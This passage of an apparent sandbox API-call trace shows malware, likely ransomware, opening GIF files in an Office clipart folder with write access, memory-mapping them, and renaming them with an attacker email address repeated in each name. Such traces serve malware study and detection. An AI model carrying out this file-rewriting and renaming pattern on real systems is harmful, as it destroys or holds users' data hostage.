	[0094.585] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00165_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00165_.gif")) returned 1
	[0094.591] free (_Block=0x51f0070) 
	[0094.591] RtlExitUserThread (Status=0x0) 

Thread:
	id = 569
	os_tid = 0x1950

	[0094.550] _alloca_probe () returned 0x40328a
	[0094.551] GetCurrentThreadId () returned 0x1950
	[0094.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", dwFileAttributes=0x80) returned 1
	[0094.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00167_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbbc
	[0094.562] GetFileSizeEx (in: hFile=0xbbc, lpFileSize=0x368ff5c | out: lpFileSize=0x368ff5c*=4929) returned 1
	[0094.562] CreateFileMappingA (hFile=0xbbc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1341, lpName=0x0) returned 0xbc0
	[0094.562] MapViewOfFile (hFileMappingObject=0xbc0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3950000
	[0094.571] UnmapViewOfFile (lpBaseAddress=0x3950000) returned 1
	[0094.571] CloseHandle (hObject=0xbc0) returned 1
	[0094.571] GetCurrentThreadId () returned 0x1950
	[0094.571] FlushFileBuffers (hFile=0xbbc) returned 1
	[0094.583] CloseHandle (hObject=0xbbc) returned 1
	[0094.585] _swprintf (in: param_1=0x3689f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif") returned 242
	[0094.585] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00167_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00167_.gif")) returned 1
	[0094.592] free (_Block=0x51f80b0) 
	[0094.592] RtlExitUserThread (Status=0x0) 

Thread:
	id = 570
	os_tid = 0x1954

	[0094.552] _alloca_probe () returned 0x40328a
	[0094.552] GetCurrentThreadId () returned 0x1954
	[0094.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", dwFileAttributes=0x80) returned 1
	[0094.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00169_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb98
	[0094.569] GetFileSizeEx (in: hFile=0xb98, lpFileSize=0x37cff5c | out: lpFileSize=0x37cff5c*=5409) returned 1
	[0094.569] CreateFileMappingA (hFile=0xb98, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1521, lpName=0x0) returned 0xb90
	[0094.569] MapViewOfFile (hFileMappingObject=0xb90, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23f0000
	[0094.573] UnmapViewOfFile (lpBaseAddress=0x23f0000) returned 1
	[0094.573] CloseHandle (hObject=0xb90) returned 1
	[0094.573] GetCurrentThreadId () returned 0x1954
	[0094.573] FlushFileBuffers (hFile=0xb98) returned 1
	[0094.585] CloseHandle (hObject=0xb98) returned 1
	[0094.586] _swprintf (in: param_1=0x37c9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif") returned 242
	[0094.586] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00169_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00169_.gif")) returned 1
	[0094.595] free (_Block=0x51f1078) 
	[0094.595] RtlExitUserThread (Status=0x0) 

Thread:
	id = 571
	os_tid = 0x1958

	[0094.554] _alloca_probe () returned 0x40328a
	[0094.555] GetCurrentThreadId () returned 0x1958
	[0094.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", dwFileAttributes=0x80) returned 1
	[0094.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00170_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc0
	[0094.571] GetFileSizeEx (in: hFile=0xbc0, lpFileSize=0x390ff5c | out: lpFileSize=0x390ff5c*=9248) returned 1
	[0094.571] CreateFileMappingA (hFile=0xbc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2420, lpName=0x0) returned 0xbb0
	[0094.571] MapViewOfFile (hFileMappingObject=0xbb0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2400000
	[0094.575] UnmapViewOfFile (lpBaseAddress=0x2400000) returned 1
	[0094.575] CloseHandle (hObject=0xbb0) returned 1
	[0094.575] GetCurrentThreadId () returned 0x1958
	[0094.575] FlushFileBuffers (hFile=0xbc0) returned 1
	[0094.585] CloseHandle (hObject=0xbc0) returned 1
	[0094.588] _swprintf (in: param_1=0x3909f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif") returned 242
	[0094.588] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00170_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00170_.gif")) returned 1
	[0094.594] free (_Block=0x51fa0c0) 
	[0094.594] RtlExitUserThread (Status=0x0) 

Thread:
	id = 572
	os_tid = 0x195c

	[0094.826] _alloca_probe () returned 0x40328a
	[0094.827] GetCurrentThreadId () returned 0x195c
	[0094.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", dwFileAttributes=0x80) returned 1
	[0094.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00171_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb88
	[0094.827] GetFileSizeEx (in: hFile=0xb88, lpFileSize=0x3a4ff5c | out: lpFileSize=0x3a4ff5c*=5057) returned 1
	[0094.827] CreateFileMappingA (hFile=0xb88, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c1, lpName=0x0) returned 0xb98
	[0094.827] MapViewOfFile (hFileMappingObject=0xb98, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0094.829] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0094.829] CloseHandle (hObject=0xb98) returned 1
	[0094.829] GetCurrentThreadId () returned 0x195c
	[0094.829] FlushFileBuffers (hFile=0xb88) returned 1
	[0094.834] CloseHandle (hObject=0xb88) returned 1
	[0094.834] _swprintf (in: param_1=0x3a49f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif") returned 242
	[0094.834] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00171_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00171_.gif")) returned 1
	[0094.835] free (_Block=0x51fb0c8) 
	[0094.835] RtlExitUserThread (Status=0x0) 

Thread:
	id = 573
	os_tid = 0x1964

	[0094.837] _alloca_probe () returned 0x40328a
	[0094.837] GetCurrentThreadId () returned 0x1964
	[0094.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", dwFileAttributes=0x80) returned 1
	[0094.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00172_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb98
	[0094.837] GetFileSizeEx (in: hFile=0xb98, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4417) returned 1
	[0094.837] CreateFileMappingA (hFile=0xb98, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1141, lpName=0x0) returned 0xbc0
	[0094.838] MapViewOfFile (hFileMappingObject=0xbc0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.839] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.839] CloseHandle (hObject=0xbc0) returned 1
	[0094.839] GetCurrentThreadId () returned 0x1964
	[0094.839] FlushFileBuffers (hFile=0xb98) returned 1
	[0094.841] CloseHandle (hObject=0xb98) returned 1
	[0094.842] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif") returned 242
	[0094.842] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00172_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00172_.gif")) returned 1
	[0094.842] free (_Block=0x51f3088) 
	[0094.842] RtlExitUserThread (Status=0x0) 

Thread:
	id = 574
	os_tid = 0x1968

	[0094.844] _alloca_probe () returned 0x40328a
	[0094.844] GetCurrentThreadId () returned 0x1968
	[0094.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", dwFileAttributes=0x80) returned 1
	[0094.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00174_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc0
	[0094.845] GetFileSizeEx (in: hFile=0xbc0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4001) returned 1
	[0094.845] CreateFileMappingA (hFile=0xbc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfa1, lpName=0x0) returned 0xba0
	[0094.845] MapViewOfFile (hFileMappingObject=0xba0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.846] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.846] CloseHandle (hObject=0xba0) returned 1
	[0094.846] GetCurrentThreadId () returned 0x1968
	[0094.846] FlushFileBuffers (hFile=0xbc0) returned 1
	[0094.848] CloseHandle (hObject=0xbc0) returned 1
	[0094.849] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif") returned 242
	[0094.849] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00174_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00174_.gif")) returned 1
	[0094.850] free (_Block=0x51f0070) 
	[0094.850] RtlExitUserThread (Status=0x0) 

Thread:
	id = 575
	os_tid = 0x196c

	[0094.851] _alloca_probe () returned 0x40328a
	[0094.852] GetCurrentThreadId () returned 0x196c
	[0094.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", dwFileAttributes=0x80) returned 1
	[0094.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00175_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xba0
	[0094.852] GetFileSizeEx (in: hFile=0xba0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3393) returned 1
	[0094.852] CreateFileMappingA (hFile=0xba0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd41, lpName=0x0) returned 0xbbc
	[0094.852] MapViewOfFile (hFileMappingObject=0xbbc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.853] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.853] CloseHandle (hObject=0xbbc) returned 1
	[0094.853] GetCurrentThreadId () returned 0x196c
	[0094.854] FlushFileBuffers (hFile=0xba0) returned 1
	[0094.856] CloseHandle (hObject=0xba0) returned 1
	[0094.856] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif") returned 242
	[0094.856] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00175_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00175_.gif")) returned 1
	[0094.859] free (_Block=0x51f4090) 
	[0094.859] RtlExitUserThread (Status=0x0) 

Thread:
	id = 576
	os_tid = 0x1970

	[0094.861] _alloca_probe () returned 0x40328a
	[0094.862] GetCurrentThreadId () returned 0x1970
	[0094.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", dwFileAttributes=0x80) returned 1
	[0094.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00176_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbbc
	[0094.862] GetFileSizeEx (in: hFile=0xbbc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3120) returned 1
	[0094.862] CreateFileMappingA (hFile=0xbbc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc30, lpName=0x0) returned 0xbb0
	[0094.862] MapViewOfFile (hFileMappingObject=0xbb0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.863] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.863] CloseHandle (hObject=0xbb0) returned 1
	[0094.864] GetCurrentThreadId () returned 0x1970
	[0094.864] FlushFileBuffers (hFile=0xbbc) returned 1
	[0094.866] CloseHandle (hObject=0xbbc) returned 1
	[0094.866] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif") returned 242
